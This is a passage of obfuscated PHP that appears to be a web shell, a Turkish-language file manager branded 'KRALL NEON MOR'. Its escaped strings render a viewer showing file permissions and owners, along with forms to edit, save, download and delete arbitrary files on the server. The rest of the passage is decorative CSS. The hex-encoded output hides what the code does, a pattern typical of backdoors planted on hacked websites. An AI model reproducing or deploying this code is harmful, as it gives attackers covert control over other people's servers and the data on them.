x2e\x76\151\x65\167\145\x72\55\146\157\x6f\164\x65\162\40\173\12\40\40\40\40\40\40\40\x20\40\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\x62\x61\x63\153\x67\162\x6f\165\x6e\144\72\40\x23\x30\141\x30\x30\x31\x30\x3b\xa\x20\x20\40\40\40\x20\x20\40\40\x20\40\40\40\40\40\x20\40\40\x20\40\x70\x61\144\x64\151\156\x67\72\40\66\160\170\40\x31\66\160\170\x3b\12\40\40\40\x20\40\x20\x20\x20\x20\40\40\x20\x20\40\x20\40\x20\40\x20\40\x62\157\x72\144\145\162\55\164\157\160\x3a\x20\61\160\170\x20\x73\157\154\151\144\x20\x23\142\x33\x30\x30\x66\146\x34\64\x3b\xa\x20\x20\40\x20\x20\40\x20\40\x20\x20\x20\40\x20\x20\x20\40\40\40\40\40\144\151\163\160\x6c\x61\171\x3a\x20\x66\154\145\x78\x3b\12\40\40\40\x20\40\40\x20\40\x20\40\x20\x20\40\40\40\x20\40\x20\x20\40\x6a\x75\x73\x74\x69\x66\x79\x2d\x63\x6f\156\x74\x65\156\x74\x3a\x20\x73\x70\x61\x63\145\x2d\x62\x65\x74\x77\145\145\156\73\xa\40\40\x20\x20\40\40\x20\40\40\40\x20\x20\40\x20\40\40\40\x20\x20\40\141\x6c\151\147\156\x2d\151\x74\x65\155\163\x3a\40\143\145\x6e\164\x65\x72\x3b\12\40\40\x20\x20\40\x20\x20\40\x20\x20\40\x20\40\40\40\40\40\40\x20\x20\x66\x6f\156\164\x2d\163\151\x7a\x65\x3a\x20\67\160\170\73\12\40\x20\x20\40\40\40\x20\40\40\x20\x20\40\40\x20\x20\x20\40\x20\40\40\x63\x6f\154\157\x72\72\40\43\x33\141\x30\141\65\141\73\xa\x20\x20\40\40\x20\x20\40\40\40\40\x20\40\x20\x20\x20\40\x7d\xa\40\x20\40\x20\x20\x20\40\40\40\40\x20\40\x20\x20\40\x20\56\166\x69\x65\167\145\162\x2d\146\x6f\x6f\164\x65\162\40\x2e\150\151\x6e\x74\x20\151\x20\173\40\x63\157\154\x6f\162\x3a\x20\x23\142\x33\60\60\146\146\x3b\x20\175\xa\x20\40\40\x20\x20\x20\x20\x20\x20\40\x20\40\40\40\x20\40\100\155\x65\x64\x69\141\x20\x28\155\141\x78\55\167\151\x64\x74\x68\72\40\x37\x36\70\x70\x78\51\x20\173\12\x20\x20\40\x20\x20\40\x20\x20\x20\40\x20\x20\x20\40\40\x20\x20\40\40\40\x2e\x76\151\145\x77\x65\x72\55\x68\x65\x61\144\x65\x72\40\x7b\x20\x66\x6c\145\170\55\x64\x69\x72\145\143\x74\151\x6f\156\72\x20\x63\157\154\x75\x6d\x6e\x3b\40\x61\x6c\151\x67\x6e\55\151\x74\145\x6d\x73\72\x20\163\164\162\145\x74\143\150\x3b\40\175\xa\x20\x20\40\40\x20\40\40\40\x20\40\x20\x20\x20\40\x20\x20\x20\x20\x20\40\56\x76\x69\x65\x77\145\162\55\x68\x65\141\x64\145\x72\40\x2e\141\143\x74\151\x6f\x6e\x73\x20\x62\165\x74\164\157\x6e\x2c\xa\40\x20\x20\40\x20\x20\40\40\x20\40\40\x20\x20\x20\x20\40\x20\40\x20\40\x2e\x76\151\145\x77\145\x72\55\150\145\141\144\145\x72\x20\x2e\141\143\164\151\x6f\156\x73\40\x61\40\x7b\x20\x66\x6c\145\170\x3a\x20\x31\x3b\x20\152\x75\x73\164\x69\146\x79\55\143\157\x6e\x74\x65\x6e\164\x3a\40\x63\145\x6e\164\145\x72\73\x20\146\157\x6e\164\x2d\163\151\x7a\x65\x3a\x20\x38\160\x78\x3b\x20\160\x61\x64\144\151\x6e\147\72\x20\x33\160\170\40\66\160\170\x3b\x20\175\xa\x20\x20\x20\40\x20\40\40\40\40\x20\x20\x20\40\x20\40\40\x20\40\x20\40\x2e\x63\x6f\144\145\55\142\x6f\170\x20\164\x65\170\x74\x61\x72\145\x61\40\173\40\155\x69\156\x2d\150\145\x69\147\150\164\72\x20\62\x30\60\160\x78\x3b\x20\x66\x6f\x6e\164\55\x73\x69\172\x65\72\x20\61\x30\160\170\73\40\x70\141\144\x64\x69\156\x67\x3a\x20\x38\160\x78\x20\x31\60\x70\170\73\40\x7d\12\x20\40\x20\40\40\40\x20\40\40\40\x20\x20\40\40\x20\x20\x20\40\40\40\56\x63\x6f\x64\145\55\142\x6f\x78\x20\x2e\x65\144\151\x74\157\x72\x2d\141\x63\x74\151\157\156\x73\40\142\165\x74\164\157\x6e\x20\x7b\x20\146\154\x65\x78\x3a\40\61\x3b\x20\x6a\x75\163\x74\x69\146\x79\x2d\x63\x6f\x6e\x74\x65\156\x74\x3a\40\x63\145\156\164\145\162\x3b\x20\146\x6f\156\164\x2d\x73\x69\x7a\145\x3a\x20\x38\160\x78\x3b\40\x70\141\144\144\x69\x6e\x67\72\x20\x33\x70\x78\40\x36\x70\x78\x3b\40\175\12\40\x20\40\40\x20\x20\x20\40\40\40\40\x20\40\40\40\x20\175\xa\40\40\x20\x20\40\40\40\x20\x20\x20\40\40\74\57\x73\x74\171\x6c\145\76\12\x20\x20\40\x20\40\40\40\x20\74\x2f\x68\145\141\x64\x3e\xa\x20\40\x20\40\40\40\x20\x20\74\x62\157\x64\171\76\xa\40\x20\40\40\40\x20\40\x20\74\144\x69\166\x20\143\x6c\x61\x73\163\75\42\x76\x69\x65\x77\x65\162\42\x3e\xa\x20\x20\x20\x20\x20\40\40\40\40\x20\40\40\74\144\x69\x76\40\x63\x6c\x61\x73\163\75\42\x76\x69\x65\x77\x65\162\x2d\x68\x65\x61\144\x65\162\x22\x3e\12\40\40\x20\x20\x20\40\40\40\x20\x20\x20\x20\40\x20\x20\40\74\144\151\166\40\x63\154\141\x73\163\75\42\x6c\145\x66\164\42\76\12\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\40\40\40\40\x20\40\40\40\40\x20\x3c\x64\x69\166\40\143\154\141\x73\163\75\42\151\143\157\156\x22\76\x3c\x69\40\143\x6c\x61\163\163\x3d\42\x66\141\163\40" . $icon . "\42\x3e\74\57\151\76\74\x2f\x64\151\x76\76\xa\x20\40\x20\40\40\40\x20\40\40\x20\40\40\x20\x20\40\x20\x20\40\40\40\x3c\x64\x69\166\76\12\x20\x20\x20\x20\x20\40\40\x20\40\x20\x20\x20\x20\40\x20\x20\40\40\40\40\x20\x20\x20\x20\74\144\151\166\40\143\x6c\x61\x73\163\75\42\x6e\x61\155\145\x22\76" . htmlspecialchars($fileName) . "\x3c\57\144\x69\x76\76\12\40\40\40\40\40\40\40\x20\40\40\x20\40\40\40\40\x20\40\40\40\40\x20\40\40\x20\74\x64\151\x76\x20\143\x6c\141\x73\163\x3d\42\x6d\x65\164\x61\x22\x3e\12\x20\x20\x20\40\40\40\x20\40\x20\x20\x20\x20\x20\40\x20\40\40\x20\40\x20\x20\40\40\x20\x20\x20\40\x20\x3c\x73\160\141\x6e\x3e\74\x69\40\143\154\x61\x73\x73\x3d\x22\x66\x61\163\40\x66\x61\55\x74\x61\147\42\76\74\x2f\x69\76\40" . $typeLabel . "\74\x2f\x73\x70\141\156\76\12\40\40\40\x20\40\40\40\40\40\x20\x20\40\40\40\40\x20\x20\40\x20\x20\40\x20\40\x20\40\40\40\40\x3c\163\x70\x61\x6e\76\74\151\40\x63\154\141\163\163\75\x22\x66\x61\163\40\x66\141\55\x77\145\151\x67\150\x74\55\150\141\156\147\151\156\x67\x22\76\74\x2f\151\x3e\40" . $fileSize . "\74\57\163\160\141\x6e\x3e\xa\x20\x20\40\40\40\40\40\40\x20\40\40\x20\40\x20\40\x20\40\x20\x20\x20\x20\40\40\x20\40\x20\40\40\74\163\160\141\156\x3e\74\151\40\x63\154\141\x73\163\x3d\42\x66\x61\163\40\146\141\55\154\157\143\x6b\x22\x3e\x3c\x2f\x69\x3e\x20" . $filePerm . "\74\x2f\163\160\141\x6e\x3e\xa\40\x20\40\40\x20\x20\40\40\x20\40\40\x20\40\40\40\x20\40\x20\40\40\x20\40\40\40\x20\x20\x20\40\x3c\x73\x70\141\156\76\74\151\40\143\x6c\141\163\x73\x3d\42\146\141\163\40\146\x61\x2d\165\163\145\162\x22\x3e\74\x2f\151\76\x20" . $fileOwner . "\x3c\57\x73\160\141\x6e\76\12\x20\x20\x20\40\40\40\40\40\40\40\x20\x20\40\40\x20\x20\40\x20\40\40\40\40\40\x20\x20\x20\40\40\x3c\163\x70\141\x6e\76\74\x69\40\x63\x6c\141\x73\163\x3d\x22\x66\x61\163\40\146\141\x2d\x63\x6c\x6f\x63\x6b\42\x3e\74\x2f\x69\76\40" . $fileMtime . "\74\x2f\163\x70\x61\x6e\x3e\12\x20\40\x20\40\40\x20\x20\40\x20\40\x20\40\x20\40\40\40\x20\x20\40\40\40\x20\40\40\40\40\40\x20\x3c\x73\160\x61\x6e\x20\143\154\x61\163\x73\x3d\x22\142\x61\144\147\x65\x22\x3e\x2e" . ($ext ?: "\164\x78\x74") . "\74\57\x73\x70\x61\x6e\76\xa\40\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\40\x20\x20\40\40\40\x20\x20\x20\40\x3c\x2f\144\151\166\76\12\40\x20\x20\x20\40\x20\40\x20\x20\40\x20\x20\40\x20\40\x20\40\x20\40\x20\x3c\57\x64\x69\x76\76\12\x20\40\40\x20\x20\40\x20\x20\x20\40\40\40\x20\40\40\x20\x3c\57\x64\151\166\76\12\x20\40\40\40\x20\40\40\40\40\40\40\40\40\x20\x20\40\x3c\x64\151\166\40\x63\x6c\x61\x73\163\x3d\x22\x61\143\x74\151\x6f\156\163\x22\76\12\40\40\x20\40\40\40\x20\40\40\40\40\x20\40\40\40\x20\x20\x20\40\40\74\x61\x20\150\x72\x65\x66\x3d\x22\x3f\141\143\x74\x69\157\156\x3d\x66\x69\154\x65\x73\46\144\151\162\x3d" . urlencode(dirname($viewFile)) . "\x22\40\x63\x6c\x61\163\163\x3d\42\142\164\x6e\55\142\x61\x63\153\x22\x3e\x3c\x69\x20\143\154\141\x73\x73\75\42\x66\x61\163\x20\x66\x61\x2d\141\x72\162\x6f\x77\x2d\x6c\x65\146\164\42\x3e\x3c\x2f\151\76\x20\107\x65\162\x69\74\x2f\x61\76\xa\x20\x20\40\x20\40\40\40\x20\x20\x20\40\40\40\x20\x20\x20\40\40\x20\40\74\x61\x20\x68\x72\145\x66\x3d\42\x3f\141\x63\164\x69\x6f\x6e\75\x66\x69\154\145\163\46\x64\x69\162\75" . urlencode(dirname($viewFile)) . "\46\x64\157\167\x6e\154\157\141\x64\75" . urlencode($viewFile) . "\42\40\143\x6c\141\x73\163\75\42\x62\x74\x6e\55\x64\x6f\167\x6e\x6c\x6f\141\144\x22\x3e\74\x69\40\x63\x6c\141\x73\x73\75\42\x66\141\x73\x20\x66\x61\x2d\144\x6f\x77\x6e\154\x6f\x61\x64\x22\x3e\74\x2f\151\76\x20\304\xb0\x6e\x64\x69\162\74\57\141\76\12\x20\40\x20\x20\40\x20\x20\x20\40\x20\40\x20\x20\x20\x20\40\x20\x20\x20\40\x3c\x62\x75\x74\164\157\156\x20\157\156\x63\154\x69\x63\x6b\x3d\42\x69\x66\50\x63\x6f\156\x66\x69\x72\x6d\50\47\40\x53\151\x6c\x6d\145\x6b\40\x69\x73\164\x65\x64\x69\xc4\237\x69\x6e\x65\40\x65\155\151\x6e\40\155\x69\163\x69\156\77\x27\51\x29\x7b\x64\x6f\143\x75\x6d\145\x6e\x74\x2e\147\145\x74\x45\x6c\145\155\x65\156\164\x42\171\111\x64\x28\47\144\145\x6c\145\164\145\106\157\162\x6d\x27\x29\x2e\x73\165\142\x6d\x69\164\50\x29\73\175\x22\x20\143\x6c\141\x73\163\x3d\x22\142\x74\156\55\x64\x65\154\145\164\x65\x22\76\74\151\40\x63\154\141\163\x73\x3d\42\146\x61\x73\x20\x66\141\x2d\164\162\141\x73\x68\42\76\x3c\x2f\x69\x3e\x20\123\151\154\x3c\x2f\142\x75\164\164\157\156\76\12\x20\40\x20\40\40\x20\40\x20\40\40\40\40\40\40\x20\x20\x3c\x2f\144\151\166\76\12\x20\x20\x20\x20\40\x20\40\x20\40\40\40\x20\74\57\x64\x69\166\x3e\xa\40\40\40\40\40\x20\40\40\40\40\40\40\74\144\x69\x76\40\x63\154\141\x73\x73\75\x22\166\x69\145\x77\x65\x72\x2d\142\157\x64\171\x22\x3e"; if (in_array($ext, array("\x6a\x70\147", "\152\x70\145\x67", "\x70\156\147", "\x67\151\x66", "\x62\155\x70", "\151\143\157", "\x73\166\x67", "\167\x65\142\x70"))) { echo "\74\144\x69\166\40\x63\x6c\141\163\x73\x3d\42\x69\x6d\141\x67\x65\55\x62\x6f\170\x22\x3e\x3c\151\155\147\x20\163\x72\143\75\x22\144\141\164\x61\x3a\151\155\x61\147\x65\x2f" . $ext . "\73\142\x61\163\x65\x36\x34\54" . base64_encode($content) . "\x22\x20\x61\x6c\x74\x3d\42" . htmlspecialchars($fileName) . "\x22\76\74\x2f\x64\x69\166\x3e"; } elseif (in_array($ext, array("\x70\x64\146"))) { echo "\74\x64\151\166\x20\143\154\x61\x73\x73\75\42\x69\x6d\141\147\x65\x2d\142\157\170\42\76\x3c\x69\40\x63\x6c\141\163\x73\75\42\x66\x61\x73\x20\146\x61\55\x66\x69\x6c\x65\x2d\x70\144\x66\x22\40\163\164\x79\154\145\x3d\x22\x66\x6f\156\x74\55\163\x69\x7a\145\x3a\x38\x30\x70\170\x3b\143\157\154\x6f\x72\x3a\x23\146\70\67\x31\x37\x31\73\x61\x6e\x69\155\141\x74\x69\157\x6e\x3a\x69\x63\x6f\x6e\120\165\154\x73\145\40\x33\163\x20\x65\x61\x73\x65\55\x69\x6e\55\x6f\x75\164\x20\x69\x6e\146\x69\x6e\151\x74\x65\73\x22\76\74\x2f\151\76\x3c\142\162\x3e\74\163\x70\x61\x6e\x20\163\x74\171\154\x65\x3d\42\x63\x6f\x6c\157\x72\x3a\43\x35\x61\62\141\67\141\x3b\146\157\156\x74\55\163\x69\172\145\x3a\61\62\160\x78\73\42\76\x50\x44\106\40\144\x6f\163\x79\x61\x73\xc4\xb1\40\x2d\40\xc4\xb0\x6e\144\x69\162\x20\x62\x75\x74\x6f\x6e\165\x6e\x75\40\153\165\x6c\x6c\141\x6e\141\162\x61\153\x20\141\303\247\x61\x62\151\x6c\x69\x72\163\151\156\x69\x7a\x2e\74\x2f\163\x70\141\x6e\x3e\74\57\144\151\166\x3e"; } else { echo "\74\x66\x6f\162\155\x20\151\144\75\x22\x65\x64\151\164\x46\157\162\155\42\x20\x6d\x65\164\x68\x6f\144\x3d\x22\120\x4f\x53\x54\42\76\12\40\x20\x20\x20\40\x20\40\40\x20\40\40\x20\x20\x20\40\40\40\x20\40\40\40\x20\x20\x20\74\x69\156\160\165\164\40\x74\171\x70\145\75\42\x68\151\x64\x64\x65\x6e\42\x20\156\141\155\x65\x3d\42\145\x64\151\x74\137\146\151\x6c\145\137\x70\141\164\150\x22\x20\166\x61\154\165\x65\x3d\42" . htmlspecialchars($viewFile) . "\x22\76\xa\x20\x20\x20\x20\40\40\40\x20\x20\x20\40\40\40\40\x20\x20\40\40\x20\x20\40\x20\40\40\74\x64\x69\x76\x20\x63\154\x61\x73\163\x3d\x22\143\x6f\144\x65\55\142\157\x78\42\x3e\12\40\x20\40\x20\x20\40\40\40\40\x20\x20\40\x20\x20\x20\40\40\40\40\x20\x20\40\x20\x20\40\x20\x20\40\x3c\x64\151\x76\x20\143\x6c\x61\x73\163\75\42\x74\157\x6f\x6c\142\x61\x72\42\x3e\12\40\x20\x20\40\40\x20\x20\x20\x20\40\40\x20\40\x20\x20\40\x20\x20\x20\40\x20\40\40\x20\40\40\x20\x20\x20\40\x20\40\x3c\x73\160\141\x6e\76\x3c\x69\40\x63\154\141\163\163\x3d\x22\146\x61\163\40" . $icon . "\42\x3e\x3c\57\x69\x3e\40\74\x73\160\141\156\40\x63\154\141\x73\163\75\x22\x6c\x61\x6e\x67\x22\x3e" . strtoupper($ext ?: "\124\105\130\124") . "\x3c\x2f\x73\x70\141\x6e\76\74\57\163\160\141\156\76\xa\40\x20\40\40\40\40\40\x20\40\x20\40\40\x20\40\x20\x20\40\x20\40\40\40\x20\40\x20\40\x20\x20\40\40\40\40\x20\74\163\160\141\x6e\76\74\x69\40\x63\154\141\163\x73\75\x22\x66\x61\x73\x20\x66\x61\55\x69\x6e\x66\x6f\55\143\151\162\143\x6c\145\42\x3e\74\x2f\151\76\40" . $fileSize . "\x20\342\x80\242\40" . (substr_count($content, "\xa") + 1) . "\x20\163\141\164\xc4\xb1\x72\74\57\163\x70\x61\x6e\76\xa\40\x20\40\40\x20\x20\x20\x20\x20\40\40\x20\x20\x20\40\40\x20\40\x20\x20\40\x20\x20\40\x20\x20\40\40\x3c\x2f\x64\151\166\76\12\40\x20\40\x20\40\40\x20\x20\x20\x20\40\x20\x20\x20\x20\40\40\40\40\40\40\x20\40\40\40\x20\40\40\74\164\145\170\x74\x61\x72\x65\141\x20\156\x61\155\x65\x3d\42\x65\144\151\x74\x5f\143\x6f\156\164\145\156\x74\x22\x20\143\154\141\163\x73\x3d\x22\145\144\x69\x74\x6f\x72\42\40\x73\x70\x65\154\154\x63\150\x65\143\153\75\42\x66\141\154\x73\x65\x22\76" . htmlspecialchars($content) . "\x3c\57\x74\x65\x78\x74\141\162\145\x61\76\xa\x20\40\40\40\40\40\x20\40\40\40\x20\x20\40\40\x20\40\x20\40\x20\x20\40\x20\x20\x20\x20\x20\40\x20\74\144\151\x76\40\143\x6c\x61\x73\163\x3d\x22\145\x64\x69\164\x6f\x72\55\141\x63\164\x69\x6f\x6e\x73\42\x3e\xa\40\40\x20\40\40\x20\x20\40\40\x20\x20\40\40\40\x20\40\x20\x20\x20\40\40\x20\40\x20\40\40\40\x20\40\40\40\x20\x3c\142\x75\164\164\157\156\x20\x74\x79\x70\145\75\42\x73\165\142\155\x69\164\x22\x20\x6e\x61\155\x65\x3d\42\163\141\166\145\x5f\x66\x69\154\x65\42\x20\x76\141\x6c\x75\x65\x3d\x22\x31\x22\x20\143\154\x61\x73\x73\75\42\x62\x74\x6e\55\x73\x61\166\145\42\x3e\74\x69\x20\143\154\x61\163\x73\x3d\42\146\x61\x73\40\x66\x61\55\x73\x61\x76\145\x22\76\74\x2f\x69\x3e\x20\113\x61\x79\144\x65\164\74\x2f\142\165\164\164\x6f\156\76\xa\x20\40\x20\40\40\40\x20\x20\40\40\x20\40\40\40\x20\40\40\40\40\40\x20\x20\40\x20\40\x20\40\x20\x20\x20\x20\x20\x3c\x62\165\164\x74\x6f\156\x20\x74\171\x70\145\x3d\x22\142\x75\x74\164\x6f\x6e\x22\x20\x63\154\x61\x73\x73\75\42\x62\164\x6e\55\143\157\160\171\42\40\x6f\x6e\143\154\151\143\153\75\42\156\141\166\x69\147\x61\x74\x6f\x72\x2e\143\x6c\151\x70\x62\x6f\141\x72\x64\x3f\x2e\167\162\x69\x74\x65\124\x65\170\x74\50\x64\x6f\x63\x75\x6d\145\x6e\164\56\x71\x75\145\x72\171\123\x65\154\145\143\164\x6f\x72\x28\x27\56\145\x64\x69\164\157\x72\47\x29\56\166\141\x6c\x75\145\x29\x2e\164\150\145\x6e\50\50\51\75\x3e\141\154\145\162\164\50\47\x20\x4b\157\160\x79\141\154\x61\x6e\144\xc4\261\41\47\x29\x29\x2e\143\141\x74\143\x68\x28\50\x29\75\76\x7b\175\x29\x22\76\x3c\151\x20\x63\x6c\x61\x73\163\x3d\42\x66\x61\x73\x20\146\x61\55\143\x6f\x70\x79\42\x3e\74\x2f\x69\76\40\x4b\157\x70\x79\x61\x6c\x61\x3c\x2f\x62\x75\164\x74\157\x6e\x3e\xa\40\x20\40\x20\40\40\x20\x20\40\x20\x20\x20\40\40\40\x20\40\40\40\x20\40\x20\40\40\x20\x20\40\40\x3c\x2f\x64\151\166\76\12\40\x20\40\40\40\x20\40\x20\x20\x20\x20\x20\40\x20\40\x20\x20\x20\40\40\x20\40\40\40\74\x2f\144\151\x76\x3e\12\x20\40\40\x20\x20\40\x20\40\x20\x20\40\40\x20\40\x20\x20\x20\40\x20\40\x20\40\74\57\146\x6f\x72\155\x3e"; } echo "\x3c\x2f\144\x69\166\x3e\12\x20\40\40\x20\40\x20\x20\x20\x20\40\x20\40\74\144\x69\x76\x20\143\x6c\141\x73\x73\x3d\42\166\151\145\x77\x65\x72\x2d\x66\157\x6f\164\x65\x72\x22\76\xa\x20\x20\40\40\40\40\40\x20\x20\40\x20\40\40\40\40\x20\x3c\163\160\x61\x6e\x3e\74\x69\40\x63\154\141\x73\163\x3d\x22\x66\141\163\40\146\x61\55\146\x6f\x6c\144\145\162\55\157\x70\145\156\42\40\x73\x74\x79\154\x65\75\x22\x63\157\154\x6f\162\x3a\x23\x62\63\60\x30\x66\146\x3b\42\76\74\57\151\x3e\x20" . htmlspecialchars(dirname($viewFile)) . "\x3c\57\x73\x70\141\156\x3e\xa\x20\40\x20\x20\x20\x20\x20\x20\x20\40\40\40\x20\x20\40\40\74\x73\x70\x61\x6e\40\143\x6c\x61\163\x73\75\x22\x68\x69\156\x74\x22\76\74\151\40\143\x6c\x61\163\x73\x3d\x22\x66\141\163\x20\x66\x61\x2d\153\145\171\x62\157\x61\162\144\42\x3e\x3c\57\151\x3e\40\x43\164\162\154\53\x53\40\151\x6c\x65\x20\x6b\x61\171\144\x65\164\x3c\57\163\x70\x61\156\76\12\x20\40\x20\40\x20\40\40\x20\40\x20\x20\40\x3c\57\144\x69\x76\76\12\x20\x20\40\x20\40\40\x20\x20\x3c\57\144\x69\166\76\12\40\x20\x20\40\x20\x20\40\40\12\40\40\40\40\x20\40\x20\40\74\x66\x6f\162\155\40\x69\144\75\x22\x64\x65\154\145\x74\145\x46\x6f\x72\x6d\42\x20\x6d\x65\164\x68\157\144\x3d\42\x50\x4f\x53\x54\x22\40\163\x74\171\x6c\x65\x3d\42\144\x69\x73\x70\154\x61\x79\72\x6e\157\156\x65\73\x22\76\xa\x20\x20\40\x20\40\40\40\40\40\x20\40\x20\74\151\x6e\160\165\164\40\164\x79\160\145\75\x22\x68\x69\144\x64\x65\156\x22\40\156\141\155\145\75\42\x64\x65\x6c\145\x74\x65\x5f\146\x69\154\x65\42\x20\166\141\x6c\165\x65\x3d\42\61\x22\76\12\x20\40\x20\40\40\40\40\40\x20\x20\40\40\x3c\151\x6e\160\x75\164\x20\164\x79\x70\x65\75\x22\x68\x69\x64\144\x65\x6e\42\40\156\x61\x6d\145\75\42\145\x64\151\x74\137\x66\x69\x6c\145\x5f\160\141\x74\150\42\40\x76\x61\x6c\165\145\x3d\42" . htmlspecialchars($viewFile) . "\42\x3e\12\40\x20\40\40\40\40\40\x20\74\x2f\146\157\162\155\x3e\xa\40\x20\40\40\x20\40\x20\x20\xa\40\40\x20\x20\x20\x20\x20\x20\x3c\163\143\162\151\x70\164\76\xa\x20\40\40\40\40\40\x20\x20\40\40\40\40\x64\x6f\x63\x75\155\145\x6e\164\56\141\x64\144\105\x76\x65\156\x74\114\151\163\x74\145\156\145\x72\x28\x27\153\145\171\144\157\x77\156\x27\x2c\x20\x66\165\x6e\x63\164\151\x6f\156\50\145\x29\x20\173\xa\40\x20\x20\40\x20\40\x20\40\40\40\x20\x20\40\40\x20\x20\x69\146\40\50\50\145\x2e\x63\164\x72\x6c\113\145\171\x20\174\174\x20\145\56\155\x65\164\x61\x4b\145\171\x29\x20\x26\x26\x20\145\56\x6b\x65\171\40\x3d\x3d\75\x20\47\x73\x27\51\x20\x7b\xa\x20\40\40\x20\40\x20\40\40\40\40\x20\40\x20\x20\40\40\x20\40\40\x20\145\x2e\160\162\x65\x76\145\156\164\x44\x65\x66\x61\165\x6c\x74\50\x29\73\xa\x20\40\40\40\x20\x20\40\x20\40\x20\40\x20\40\40\40\x20\x20\x20\40\40\166\141\x72\40\x66\157\x72\155\x20\75\40\144\x6f\143\x75\155\x65\156\164\x2e\147\145\x74\x45\154\145\x6d\145\156\164\x42\171\111\x64\50\47\145\144\x69\164\x46\157\x72\x6d\47\x29\73\12\x20\40\40\x20\40\x20\40\40\40\40\40\x20\40\x20\x20\40\40\40\40\x20\x69\146\x20\50\x66\157\162\155\x29\40\x66\x6f\x72\155\x2e\163\165\x62\x6d\151\164\x28\x29\73\12\x20\x20\40\x20\40\40\x20\x20\40\x20\x20\40\x20\x20\40\x20\x7d\xa\x20\40\40\x20\x20\x20\40\x20\x20\40\40\x20\175\51\x3b\12\x20\x20\40\40\40\40\40\x20\x3c\x2f\163\x63\x72\151\160\x74\x3e\xa\40\40\40\40\40\40\40\x20\x3c\x2f\142\157\144\171\x3e\xa\x20\40\x20\x20\40\40\40\x20\x3c\x2f\150\164\155\x6c\76"; die; } $dir = realpath($dir) ?: getcwd(); $files = @scandir($dir); if ($files === false) { echo "\x3c\x64\151\x76\x20\143\x6c\x61\x73\x73\x3d\x22\x61\x6c\x65\x72\x74\x20\141\x6c\x65\162\164\x2d\x65\x72\162\x6f\x72\40\147\154\x6f\167\x2d\145\162\162\157\162\x22\76\xf0\x9f\x92\xa5\x20\x44\x69\x7a\151\156\40\157\x6b\x75\156\x61\x6d\x61\x64\xc4\xb1\41\x3c\x2f\144\x69\166\x3e"; $files = array(); } ?> <!-- ============================================================ --> <!-- ===== CSS - KRALL NEON MOR ULTRA EFEKT ===== --> <!-- ============================================================ --> <style> /* ============================================================ KRALL NEON MOR ULTRA EFEKT - FILES V4 ============================================================ */ @import url('https://fonts.googleapis.com/css2?family=Orbitron:wght@400;700&family=JetBrains+Mono:wght@400;700&display=swap'); .file-manager { padding: 0; font-family: 'JetBrains Mono', monospace; background: #0a0010; border-radius: 8px; padding: 10px; position: relative; overflow: hidden; } /* ===== ARKA PLAN IŞILTISI ===== */ .file-manager::before { content: ''; position: fixed; top: -50%; left: -50%; width: 200%; height: 200%; background: radial-gradient(ellipse at 30% 40%, rgba(179,0,255,0.03) 0%, transparent 50%), radial-gradient(ellipse at 70% 60%, rgba(255,0,255,0.02) 0%, transparent 50%); pointer-events: none; z-index: 0; animation: bgShift 25s ease-in-out infinite; } @keyframes bgShift { 0%, 100% { transform: scale(1) rotate(0deg); } 50% { transform: scale(1.1) rotate(5deg); } } /* ===== UÇAN PARTİKÜLLER ===== */ .file-manager .particles { position: fixed; top: 0; left: 0; width: 100%; height: 100%; pointer-events: none; z-index: 0; overflow: hidden; } .file-manager .particles span { position: absolute; width: 2px; height: 2px; background: #b300ff; border-radius: 50%; animation: particleFloat 20s linear infinite; box-shadow: 0 0 10px #b300ff; } @keyframes particleFloat { 0% { transform: translateY(100vh) scale(0); opacity: 0; } 10% { opacity: 1; } 90% { opacity: 1; } 100% { transform: translateY(-10vh) scale(1); opacity: 0; } } /* ===== ALERT ===== */ .alert { padding: 8px 14px; border-radius: 8px; font-size: 10px; margin-bottom: 8px; border-left: 3px solid; position: relative; z-index: 1; animation: alertSlide 0.5s ease; backdrop-filter: blur(10px); } @keyframes alertSlide { from { opacity: 0; transform: translateX(-20px); } to { opacity: 1; transform: translateX(0); } } .alert-success { background: rgba(0,255,136,0.06); border-color: #2ecc71; color: #2ecc71; box-shadow: 0 0 30px rgba(0,255,136,0.05); } .alert-error { background: rgba(255,0,85,0.06); border-color: #b300ff; color: #b300ff; box-shadow: 0 0 30px rgba(255,0,85,0.05); } .glow-success { animation: glowSuccess 2s ease-in-out infinite; } @keyframes glowSuccess { 0%, 100% { box-shadow: 0 0 30px rgba(0,255,136,0.05); } 50% { box-shadow: 0 0 60px rgba(0,255,136,0.15); } } .glow-error { animation: glowError 2s ease-in-out infinite; } @keyframes glowError { 0%, 100% { box-shadow: 0 0 30px rgba(255,0,85,0.05); } 50% { box-shadow: 0 0 60px rgba(255,0,85,0.15); } } /* ===== HEADER ===== */ .fm-header { display: flex; justify-content: space-between; align-items: center; padding: 10px 14px; background: rgba(10,0,16,0.85); border-radius: 10px; margin-bottom: 10px; border: 1px solid #b300ff44; position: relative; z-index: 1; backdrop-filter: blur(10px); animation: headerGlow 4s ease-in-out infinite; } @keyframes headerGlow { 0%, 100% { box-shadow: 0 0 30px rgba(179,0,255,0.05), inset 0 0 30px rgba(179,0,255,0.02); } 50% { box-shadow: 0 0 60px rgba(179,0,255,0.12), inset 0 0 60px rgba(179,0,255,0.04); } } .fm-path { color: #5a2a7a; font-size: 10px; display: flex; align-items: center; gap: 8px; overflow: hidden; flex: 1; } .fm-path i { color: #b300ff; animation: iconSpin 12s linear infinite; } @keyframes iconSpin { 0%, 100% { transform: rotate(0deg); } 50% { transform: rotate(180deg); } } .fm-path span { white-space: nowrap; overflow: hidden; text-overflow: ellipsis; } .fm-path .count-badge { background: rgba(179,0,255,0.12); padding: 1px 10px; border-radius: 20px; font-size: 8px; color: #b300ff; border: 1px solid #b300ff44; flex-shrink: 0; } .fm-actions { display: flex; gap: 4px; flex-shrink: 0; } .fm-btn { padding: 4px 12px; background: rgba(10,0,16,0.85); color: #5a2a7a; border: 1px solid #b300ff44; border-radius: 6px; cursor: pointer; font-size: 9px; transition: all 0.3s; text-decoration: none; display: inline-flex; align-items: center; gap: 4px; } .fm-btn:hover { background: #b300ff; color: #0a0010; border-color: #b300ff; box-shadow: 0 0 30px rgba(179,0,255,0.2); transform: scale(1.05); } /* ===== TOOLBAR ===== */ .fm-toolbar { display: grid; grid-template-columns: 1fr 1fr 1fr 1fr 1fr; gap: 6px; margin-bottom: 10px; position: relative; z-index: 1; } .fm-tool-group { display: flex; gap: 4px; align-items: center; background: rgba(10,0,16,0.85); border-radius: 8px; padding: 3px 8px; border: 1px solid #b300ff44; min-height: 34px; backdrop-filter: blur(10px); transition: 0.3s; } .fm-tool-group:hover { border-color: #b300ff; 